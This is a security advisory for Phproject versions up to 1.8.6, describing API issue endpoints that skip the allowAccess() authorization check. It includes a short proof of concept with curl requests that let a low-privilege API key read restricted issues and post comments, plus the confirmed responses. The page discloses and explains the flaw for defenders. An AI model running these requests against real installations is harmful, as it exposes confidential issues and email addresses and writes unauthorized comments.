All vulnerabilities
GHSA-mpq9-v47x-3hw8

Missing Object-Level Authorization in Phproject REST API Issue Endpoints

phproject
CVSS
7.1High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in1.8.7Fixed versionGitHub
Published2 Oct 2026Updated 2 Oct 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

The three API endpoints load an issue by id and check only that the row exists (if ($issue->id)), never calling Model\Issue::allowAccess(). When an administrator has enabled security.restrict_access (which limits issue visibility to the owner, author, or group), any authenticated principal with a valid API key can therefore read the full contents and comments of any issue, including owner and author email addresses, and post comments to restricted issues. The same codebase enforces allowAccess() in the web UI issue view and in the sibling write endpoints single_put and single_delete, making this an inconsistent, missing authorization check at these specific call sites rather than intended behavior.

Details

  • app/controller/api/issues.php
  • single_get (GET /issues/@id.json), approx. line 291
  • single_comments (GET /issues/@id/comments.json), approx. line 324
  • single_comments_post (POST /issues/@id/comments.json), approx. line 345
  • app/model/issue.php : allowAccess(), approx. line 605 (authorization routine that is not called by the endpoints above)
  • Reference enforcement that is present elsewhere: app/controller/issues.php (web UI, lines 217 and 436) and the sibling API methods single_put (line 255) and single_delete (line 313), all of which do call allowAccess().

Proof of concept

Preconditions: security.restrict_access=1; a confidential issue #1 owned by user alice; a low privilege user bob in an unrelated group with his own API key.

# Denied in the web UI:
GET /issues/1                         -> HTTP 404

# Allowed through the API with bob's key:
curl "$B/issues/1.json?key=$BOB_KEY"
curl "$B/issues/1/comments.json?key=$BOB_KEY"
curl -X POST "$B/issues/1/comments.json?key=$BOB_KEY" --data-urlencode "text=INJECTED-BY-BOB"

Confirmed output:

api GET  /issues/1.json          -> HTTP 200  {"issue":{"name":"CONFIDENTIAL: acquisition salary
                                   figures","description":"...secret-token=RS_9f13ac.","owner":
                                   {"username":"alice","email":"alice@test.local"}}}
api GET  /issues/1/comments.json -> HTTP 200  [{"text":"Internal comment: board approved 2026-10."}]
api POST /issues/1/comments.json -> HTTP 200  {"id":2,"issue_id":1,"user_id":2(bob),"text":"INJECTED-BY-BOB"}

Reproduced deterministically; the web UI returns HTTP 404 for the same user while the API returns HTTP 200.

Impact

Any authenticated account or API key holder can defeat the security.restrict_access confidentiality control: full read of all restricted issues and their comments, including owner and author email addresses, plus unauthorized comment writes to restricted issues. API keys are long lived and per user, and no CSRF or user interaction is required. The read exposure affects every restricted issue in the instance, not only the attacker's own, and written comments persist on the victim issue.

Text from GitHub Advisory Database

Affected versions 1

  • phproject<= 1.8.6GitHub